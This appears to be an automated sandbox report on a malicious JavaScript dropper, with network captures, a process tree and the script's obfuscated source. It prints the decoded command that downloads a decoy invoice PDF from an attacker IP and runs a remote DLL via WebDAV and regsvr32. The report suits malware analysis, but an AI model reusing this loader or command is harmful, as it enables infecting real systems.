Jan 11, 2025 05:35:35.145565033 CET	672	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 11, 2025 05:35:35.145577908 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 05:35:35.145590067 CET	224	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}n
Jan 11, 2025 05:35:35.145600080 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 11, 2025 05:35:35.145608902 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 11, 2025 05:35:35.150609970 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49757	193.143.1.205	8888	8156	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:35:37.376013041 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 05:35:38.152867079 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:35:38 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	23:35:31
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\22736232701915520651.js"
Imagebase:	0x7ff684620000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:35:31
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\314181076819564.dll
Imagebase:	0x7ff73fe70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:35:31
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	23:35:32
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7b2bb0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	23:35:36
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff64eb90000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	23:35:36
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff73fe70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:35:36
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7ea7d0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	23:35:37
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	23:35:37
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7df220000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	23:35:37
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2152 --field-trial-handle=1560,i,1449235303632292293,8659410901533919089,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff63ec50000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function mfiygszjx() {	mfiygszjx() ➔ undefined
1	zqdsdgkzx = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var wowksxod = this[zwelnqmvw + ojaidbg + emnuxjeb + vxelplpo + hoqacjjbj + awkhv + stzgulog + psooxvimg] ( this[vysjmf + dvuhjv + cvbjrpwe + emnuxjeb + opbahx + zwelnqmvw + psooxvimg][czasvpb + emnuxjeb + hoqacjjbj + ojaidbg + psooxvimg + hoqacjjbj + wkysh + yascx + pejgj + hoqacjjbj + cvbjrpwe + psooxvimg] ( vysjmf + dvuhjv + cvbjrpwe + emnuxjeb + opbahx + zwelnqmvw + psooxvimg + mnqsz + dvuhjv + lrcfhldwg + hoqacjjbj + oonnu + oonnu ) [icrmuyxhf + hoqacjjbj + acxnc + icrmuyxhf + hoqacjjbj + ojaidbg + eimcn] ( pecyrq + aruajl + jlailcdiv + esunb + oyijzpbl + czasvpb + vwqejy + icrmuyxhf + icrmuyxhf + jlailcdiv + ozpxkvzt + rqzysotkd + oyijzpbl + vwqejy + dvuhjv + jlailcdiv + icrmuyxhf + mcvqrul + czasvpb + dzdsnf + stzgulog + psooxvimg + emnuxjeb + dzdsnf + oonnu + pvldfb + sbieg + ojaidbg + stzgulog + hoqacjjbj + oonnu + mcvqrul + awkhv + stzgulog + psooxvimg + hoqacjjbj + emnuxjeb + stzgulog + ojaidbg + psooxvimg + opbahx + dzdsnf + stzgulog + ojaidbg + oonnu + mcvqrul + syxogqc + dzdsnf + cvbjrpwe + ojaidbg + oonnu + hoqacjjbj ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( fcuss = 0 ; fcuss < zqdsdgkzx[oonnu + hoqacjjbj + stzgulog + acxnc + psooxvimg + lrcfhldwg] ; ++ fcuss )
4	{
5	if ( wowksxod == zqdsdgkzx[fcuss] )
6	{
7	wowksxod = true;
8	break ;
9	}
10	}
11	if ( wowksxod !== true )
12	this[vysjmf + dvuhjv + cvbjrpwe + emnuxjeb + opbahx + zwelnqmvw + psooxvimg][xiegvf + wjexr + opbahx + psooxvimg] ( );
13	this[vysjmf + dvuhjv + cvbjrpwe + emnuxjeb + opbahx + zwelnqmvw + psooxvimg][czasvpb + emnuxjeb + hoqacjjbj + ojaidbg + psooxvimg + hoqacjjbj + wkysh + yascx + pejgj + hoqacjjbj + cvbjrpwe + psooxvimg] ( vysjmf + dvuhjv + cvbjrpwe + emnuxjeb + opbahx + zwelnqmvw + psooxvimg + mnqsz + dvuhjv + lrcfhldwg + hoqacjjbj + oonnu + oonnu ) [emnuxjeb + wjexr + stzgulog] ( cvbjrpwe + akovthz + eimcn + pvldfb + wwyorjg + cvbjrpwe + pvldfb + zwelnqmvw + dzdsnf + bgqmsd + hoqacjjbj + emnuxjeb + vxelplpo + lrcfhldwg + hoqacjjbj + oonnu + oonnu + mnqsz + hoqacjjbj + ywtyzaher + hoqacjjbj + pvldfb + epvvexl + czasvpb + dzdsnf + akovthz + akovthz + ojaidbg + stzgulog + eimcn + pvldfb + lhonz + awkhv + stzgulog + swwys + dzdsnf + jlwphmslb + hoqacjjbj + epvvexl + vysjmf + hoqacjjbj + yascx + icrmuyxhf + hoqacjjbj + pdnwm + wjexr + hoqacjjbj + vxelplpo + psooxvimg + pvldfb + epvvexl + wkysh + wjexr + psooxvimg + jclciy + opbahx + oonnu + hoqacjjbj + pvldfb + drveftsyz + psooxvimg + hoqacjjbj + akovthz + zwelnqmvw + drveftsyz + mcvqrul + opbahx + stzgulog + swwys + dzdsnf + opbahx + cvbjrpwe + hoqacjjbj + mnqsz + zwelnqmvw + eimcn + qibrzz + pvldfb + lrcfhldwg + psooxvimg + psooxvimg + zwelnqmvw + sltzsmbk + wwyorjg + wwyorjg + zrjzjrz + cgikeud + ocatau + mnqsz + zrjzjrz + bfabd + ocatau + mnqsz + zrjzjrz + mnqsz + kyrsy + irhxf + fxpzhmktb + wwyorjg + opbahx + stzgulog + swwys + dzdsnf + opbahx + cvbjrpwe + hoqacjjbj + mnqsz + zwelnqmvw + lrcfhldwg + zwelnqmvw + lhonz + rymwwljcz + rymwwljcz + vxelplpo + psooxvimg + ojaidbg + emnuxjeb + psooxvimg + pvldfb + drveftsyz + psooxvimg + hoqacjjbj + akovthz + zwelnqmvw + drveftsyz + mcvqrul + opbahx + stzgulog + swwys + dzdsnf + opbahx + cvbjrpwe + hoqacjjbj + mnqsz + zwelnqmvw + eimcn + qibrzz + rymwwljcz + rymwwljcz + cvbjrpwe + akovthz + eimcn + pvldfb + wwyorjg + cvbjrpwe + pvldfb + stzgulog + hoqacjjbj + psooxvimg + pvldfb + wjexr + vxelplpo + hoqacjjbj + pvldfb + mcvqrul + mcvqrul + zrjzjrz + cgikeud + ocatau + mnqsz + zrjzjrz + bfabd + ocatau + mnqsz + zrjzjrz + mnqsz + kyrsy + irhxf + fxpzhmktb + eplrtgfr + edqqmj + edqqmj + edqqmj + edqqmj + mcvqrul + eimcn + ojaidbg + swwys + bgqmsd + bgqmsd + bgqmsd + emnuxjeb + dzdsnf + dzdsnf + psooxvimg + mcvqrul + rymwwljcz + rymwwljcz + cvbjrpwe + akovthz + eimcn + pvldfb + wwyorjg + cvbjrpwe + pvldfb + emnuxjeb + hoqacjjbj + acxnc + vxelplpo + swwys + emnuxjeb + ocatau + kyrsy + pvldfb + wwyorjg + vxelplpo + pvldfb + mcvqrul + mcvqrul + zrjzjrz + cgikeud + ocatau + mnqsz + zrjzjrz + bfabd + ocatau + mnqsz + zrjzjrz + mnqsz + kyrsy + irhxf + fxpzhmktb + eplrtgfr + edqqmj + edqqmj + edqqmj + edqqmj + mcvqrul + eimcn + ojaidbg + swwys + bgqmsd + bgqmsd + bgqmsd + emnuxjeb + dzdsnf + dzdsnf + psooxvimg + mcvqrul + ocatau + zrjzjrz + bfabd + zrjzjrz + edqqmj + zrjzjrz + irhxf + kfjnwzix + mmwfpti + edqqmj + zrjzjrz + cgikeud + fxpzhmktb + mmwfpti + bfabd + mnqsz + eimcn + oonnu + oonnu, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\314181076819564.dll",0,false) ➔ 0
14	}
15	aruajl = "a";
16	aruajl = "I";
17	aruajl = "h";
18	aruajl = "J";
19	aruajl = "G";
20	aruajl = "M";
21	aruajl = "J";
22	aruajl = "Y";
23	aruajl = "b";
24	aruajl = "D";
25	aruajl = "p";
26	aruajl = "u";
27	aruajl = "C";
28	aruajl = "t";
29	aruajl = "e";
30	aruajl = "Y";
31	aruajl = "f";
32	aruajl = "H";
33	aruajl = "r";
34	aruajl = "F";
35	aruajl = "u";
36	aruajl = "e";
37	aruajl = "K";
38	sltzsmbk = "T";
39	sltzsmbk = "g";
40	sltzsmbk = "Q";
41	sltzsmbk = "D";
42	sltzsmbk = "Y";
43	sltzsmbk = "g";
44	sltzsmbk = "b";
45	sltzsmbk = "X";
46	sltzsmbk = "Y";
47	sltzsmbk = "w";
48	sltzsmbk = "z";
49	sltzsmbk = "P";
50	sltzsmbk = "r";
51	sltzsmbk = "B";
52	sltzsmbk = "I";
53	sltzsmbk = "Q";
54	sltzsmbk = "P";
55	sltzsmbk = "W";
56	sltzsmbk = "X";
57	sltzsmbk = "c";
58	sltzsmbk = "H";
59	sltzsmbk = "w";
60	sltzsmbk = "A";
61	sltzsmbk = "v";
62	sltzsmbk = ":";
63	hoqacjjbj = "e";
64	vysjmf = "C";
65	vysjmf = "p";
66	vysjmf = "e";
67	vysjmf = "r";
68	vysjmf = "B";
69	vysjmf = "x";
70	vysjmf = "x";
71	vysjmf = "F";
72	vysjmf = "y";
73	vysjmf = "S";
74	vysjmf = "W";
75	vysjmf = "m";
76	vysjmf = "v";
77	vysjmf = "s";
78	vysjmf = "O";
79	vysjmf = "Z";
80	vysjmf = "A";
81	vysjmf = "I";
82	vysjmf = "D";
83	vysjmf = "e";
84	vysjmf = "M";
85	vysjmf = "L";
86	vysjmf = "w";
87	vysjmf = "Z";
88	vysjmf = "C";
89	vysjmf = "S";
90	vysjmf = "X";
91	vysjmf = "e";
92	vysjmf = "g";
93	vysjmf = "X";
94	vysjmf = "G";
95	vysjmf = "D";
96	vysjmf = "F";
97	vysjmf = "S";
98	vysjmf = "j";
99	vysjmf = "j";
100	vysjmf = "s";
101	vysjmf = "q";
102	vysjmf = "T";
103	vysjmf = "Z";
104	vysjmf = "G";
105	vysjmf = "O";
106	vysjmf = "W";
107	kyrsy = "O";
108	kyrsy = "w";
109	kyrsy = "L";
110	kyrsy = "s";
111	kyrsy = "e";
112	kyrsy = "i";
113	kyrsy = "x";
114	kyrsy = "l";
115	kyrsy = "q";
116	kyrsy = "E";
117	kyrsy = "l";
118	kyrsy = "V";
119	kyrsy = "Z";
120	kyrsy = "V";
121	kyrsy = "i";
122	kyrsy = "w";
123	kyrsy = "w";
124	kyrsy = "2";
125	xiegvf = "Y";
126	xiegvf = "N";
127	xiegvf = "t";
128	xiegvf = "X";
129	xiegvf = "q";
130	xiegvf = "I";
131	xiegvf = "x";
132	xiegvf = "q";
133	xiegvf = "I";
134	xiegvf = "c";
135	xiegvf = "O";
136	xiegvf = "z";
137	xiegvf = "q";
138	xiegvf = "b";
139	xiegvf = "Y";
140	xiegvf = "A";
141	xiegvf = "q";
142	xiegvf = "a";
143	xiegvf = "B";
144	xiegvf = "o";
145	xiegvf = "O";
146	xiegvf = "c";
147	xiegvf = "F";
148	xiegvf = "k";
149	xiegvf = "n";
150	xiegvf = "d";
151	xiegvf = "Q";
152	oonnu = "E";
153	oonnu = "b";
154	oonnu = "E";
155	oonnu = "U";
156	oonnu = "F";
157	oonnu = "v";
158	oonnu = "M";
159	oonnu = "X";
160	oonnu = "Z";
161	oonnu = "X";
162	oonnu = "e";
163	oonnu = "L";
164	oonnu = "q";
165	oonnu = "P";
166	oonnu = "A";
167	oonnu = "C";
168	oonnu = "e";
169	oonnu = "Y";
170	oonnu = "D";
171	oonnu = "p";
172	oonnu = "D";
173	oonnu = "y";
174	oonnu = "u";
175	oonnu = "b";
176	oonnu = "Q";
177	oonnu = "N";
178	oonnu = "c";
179	oonnu = "q";
180	oonnu = "X";
181	oonnu = "g";
182	oonnu = "S";
183	oonnu = "X";
184	oonnu = "e";
185	oonnu = "K";
186	oonnu = "O";
187	oonnu = "l";
188	ywtyzaher = "G";
189	ywtyzaher = "V";
190	ywtyzaher = "d";
191	ywtyzaher = "r";
192	ywtyzaher = "U";
193	ywtyzaher = "v";
194	ywtyzaher = "s";
195	ywtyzaher = "I";
196	ywtyzaher = "F";
197	ywtyzaher = "n";
198	ywtyzaher = "S";
199	ywtyzaher = "m";
200	ywtyzaher = "h";
201	ywtyzaher = "M";
202	ywtyzaher = "x";
203	bgqmsd = "A";
204	bgqmsd = "i";
205	bgqmsd = "v";
206	bgqmsd = "d";
207	bgqmsd = "H";
208	bgqmsd = "a";
209	bgqmsd = "a";
210	bgqmsd = "E";
211	bgqmsd = "C";
212	bgqmsd = "R";
213	bgqmsd = "r";
214	bgqmsd = "J";
215	bgqmsd = "Z";
216	bgqmsd = "X";
217	bgqmsd = "G";
218	bgqmsd = "I";
219	bgqmsd = "z";
220	bgqmsd = "z";
221	bgqmsd = "F";
222	bgqmsd = "Q";
223	bgqmsd = "K";
224	bgqmsd = "R";
225	bgqmsd = "W";
226	bgqmsd = "y";
227	bgqmsd = "C";
228	bgqmsd = "n";
229	bgqmsd = "l";
230	bgqmsd = "z";
231	bgqmsd = "G";
232	bgqmsd = "P";
233	bgqmsd = "t";
234	bgqmsd = "N";
235	bgqmsd = "E";
236	bgqmsd = "h";
237	bgqmsd = "H";
238	bgqmsd = "N";
239	bgqmsd = "a";
240	bgqmsd = "Q";
241	bgqmsd = "S";
242	bgqmsd = "v";
243	bgqmsd = "w";
244	jlwphmslb = "k";
245	jlwphmslb = "f";
246	jlwphmslb = "l";
247	jlwphmslb = "P";
248	jlwphmslb = "G";
249	jlwphmslb = "V";
250	jlwphmslb = "W";
251	jlwphmslb = "R";
252	jlwphmslb = "n";
253	jlwphmslb = "S";
254	jlwphmslb = "m";
255	jlwphmslb = "K";
256	jlwphmslb = "q";
257	jlwphmslb = "n";
258	jlwphmslb = "X";
259	jlwphmslb = "s";
260	jlwphmslb = "J";
261	jlwphmslb = "C";
262	jlwphmslb = "N";
263	jlwphmslb = "a";
264	jlwphmslb = "N";
265	jlwphmslb = "r";
266	jlwphmslb = "J";
267	jlwphmslb = "J";
268	jlwphmslb = "w";
269	jlwphmslb = "b";
270	jlwphmslb = "W";
271	jlwphmslb = "g";
272	jlwphmslb = "K";
273	jlwphmslb = "H";
274	jlwphmslb = "D";
275	jlwphmslb = "f";
276	jlwphmslb = "R";
277	jlwphmslb = "H";
278	jlwphmslb = "S";
279	jlwphmslb = "m";
280	jlwphmslb = "l";
281	jlwphmslb = "c";
282	jlwphmslb = "z";
283	jlwphmslb = "n";
284	jlwphmslb = "a";
285	jlwphmslb = "w";
286	jlwphmslb = "o";
287	jlwphmslb = "O";
288	jlwphmslb = "k";
289	vxelplpo = "q";
290	vxelplpo = "G";
291	vxelplpo = "K";
292	vxelplpo = "B";
293	vxelplpo = "S";
294	vxelplpo = "N";
295	vxelplpo = "F";
296	vxelplpo = "b";
297	vxelplpo = "U";
298	vxelplpo = "i";
299	vxelplpo = "Y";
300	vxelplpo = "J";
301	vxelplpo = "h";
302	vxelplpo = "J";
303	vxelplpo = "h";
304	vxelplpo = "m";
305	vxelplpo = "C";
306	vxelplpo = "M";
307	vxelplpo = "o";
308	vxelplpo = "v";
309	vxelplpo = "g";
310	vxelplpo = "q";
311	vxelplpo = "z";
312	vxelplpo = "l";
313	vxelplpo = "V";
314	vxelplpo = "e";
315	vxelplpo = "W";
316	vxelplpo = "s";
317	vxelplpo = "s";
318	edqqmj = "w";
319	edqqmj = "O";
320	edqqmj = "F";
321	edqqmj = "o";
322	edqqmj = "W";
323	edqqmj = "8";
324	jlailcdiv = "Z";
325	jlailcdiv = "a";
326	jlailcdiv = "J";
327	jlailcdiv = "e";
328	jlailcdiv = "Z";
329	jlailcdiv = "J";
330	jlailcdiv = "c";
331	jlailcdiv = "J";
332	jlailcdiv = "R";
333	jlailcdiv = "t";
334	jlailcdiv = "C";
335	jlailcdiv = "F";
336	jlailcdiv = "Y";
337	jlailcdiv = "W";
338	jlailcdiv = "R";
339	jlailcdiv = "c";
340	jlailcdiv = "V";
341	jlailcdiv = "h";
342	jlailcdiv = "m";
343	jlailcdiv = "l";
344	jlailcdiv = "k";
345	jlailcdiv = "i";
346	jlailcdiv = "X";
347	jlailcdiv = "T";
348	jlailcdiv = "z";
349	jlailcdiv = "f";
350	jlailcdiv = "K";
351	jlailcdiv = "r";
352	jlailcdiv = "u";
353	jlailcdiv = "J";
354	jlailcdiv = "s";
355	jlailcdiv = "S";
356	jlailcdiv = "k";
357	jlailcdiv = "g";
358	jlailcdiv = "j";
359	jlailcdiv = "g";
360	jlailcdiv = "l";
361	jlailcdiv = "U";
362	jlailcdiv = "E";
363	ojaidbg = "p";
364	ojaidbg = "F";
365	ojaidbg = "o";
366	ojaidbg = "r";
367	ojaidbg = "h";
368	ojaidbg = "w";
369	ojaidbg = "E";
370	ojaidbg = "L";
371	ojaidbg = "r";
372	ojaidbg = "Y";
373	ojaidbg = "a";
374	sbieg = "R";
375	sbieg = "L";
376	sbieg = "K";
377	sbieg = "y";
378	sbieg = "e";
379	sbieg = "M";
380	sbieg = "t";
381	sbieg = "b";
382	sbieg = "g";
383	sbieg = "q";
384	sbieg = "d";
385	sbieg = "w";
386	sbieg = "A";
387	sbieg = "P";
388	irhxf = "G";
389	irhxf = "T";
390	irhxf = "e";
391	irhxf = "n";
392	irhxf = "i";
393	irhxf = "H";
394	irhxf = "Q";
395	irhxf = "V";
396	irhxf = "I";
397	irhxf = "S";
398	irhxf = "E";
399	irhxf = "S";
400	irhxf = "T";
401	irhxf = "R";
402	irhxf = "z";
403	irhxf = "A";
404	irhxf = "D";
405	irhxf = "t";
406	irhxf = "T";
407	irhxf = "j";
408	irhxf = "0";
409	oyijzpbl = "e";
410	oyijzpbl = "Q";
411	oyijzpbl = "R";
412	oyijzpbl = "V";
413	oyijzpbl = "U";
414	oyijzpbl = "L";
415	oyijzpbl = "d";
416	oyijzpbl = "j";
417	oyijzpbl = "g";
418	oyijzpbl = "r";
419	oyijzpbl = "A";
420	oyijzpbl = "K";
421	oyijzpbl = "m";
422	oyijzpbl = "l";
423	oyijzpbl = "G";
424	oyijzpbl = "r";
425	oyijzpbl = "I";
426	oyijzpbl = "U";
427	oyijzpbl = "w";
428	oyijzpbl = "B";
429	oyijzpbl = "e";
430	oyijzpbl = "h";
431	oyijzpbl = "i";
432	oyijzpbl = "N";
433	oyijzpbl = "p";
434	oyijzpbl = "l";
435	oyijzpbl = "v";
436	oyijzpbl = "k";
437	oyijzpbl = "Q";
438	oyijzpbl = "x";
439	oyijzpbl = "d";
440	oyijzpbl = "V";
441	oyijzpbl = "Y";
442	oyijzpbl = "_";
443	wkysh = "C";
444	wkysh = "G";
445	wkysh = "l";
446	wkysh = "d";
447	wkysh = "B";
448	wkysh = "I";
449	wkysh = "D";
450	wkysh = "t";
451	wkysh = "W";
452	wkysh = "V";
453	wkysh = "Y";
454	wkysh = "M";
455	wkysh = "O";
456	dvuhjv = "K";
457	dvuhjv = "G";
458	dvuhjv = "w";
459	dvuhjv = "E";
460	dvuhjv = "y";
461	dvuhjv = "V";
462	dvuhjv = "O";
463	dvuhjv = "F";
464	dvuhjv = "z";
465	dvuhjv = "Q";
466	dvuhjv = "N";
467	dvuhjv = "P";
468	dvuhjv = "n";
469	dvuhjv = "c";
470	dvuhjv = "A";
471	dvuhjv = "p";
472	dvuhjv = "k";
473	dvuhjv = "E";
474	dvuhjv = "B";
475	dvuhjv = "H";
476	dvuhjv = "Y";
477	dvuhjv = "z";
478	dvuhjv = "Q";
479	dvuhjv = "J";
480	dvuhjv = "K";
481	dvuhjv = "i";
482	dvuhjv = "D";
483	dvuhjv = "A";
484	dvuhjv = "K";
485	dvuhjv = "s";
486	dvuhjv = "W";
487	dvuhjv = "q";
488	dvuhjv = "o";
489	dvuhjv = "n";
490	dvuhjv = "q";
491	dvuhjv = "f";
492	dvuhjv = "W";
493	dvuhjv = "K";
494	dvuhjv = "i";
495	dvuhjv = "H";
496	dvuhjv = "I";
497	dvuhjv = "f";
498	dvuhjv = "j";
499	dvuhjv = "S";
500	mcvqrul = "X";
501	mcvqrul = "D";
502	mcvqrul = "L";
503	mcvqrul = "h";
504	mcvqrul = "E";
505	mcvqrul = "n";
506	mcvqrul = "\\";
507	vwqejy = "M";
508	vwqejy = "C";
509	vwqejy = "p";
510	vwqejy = "j";
511	vwqejy = "F";
512	vwqejy = "r";
513	vwqejy = "n";
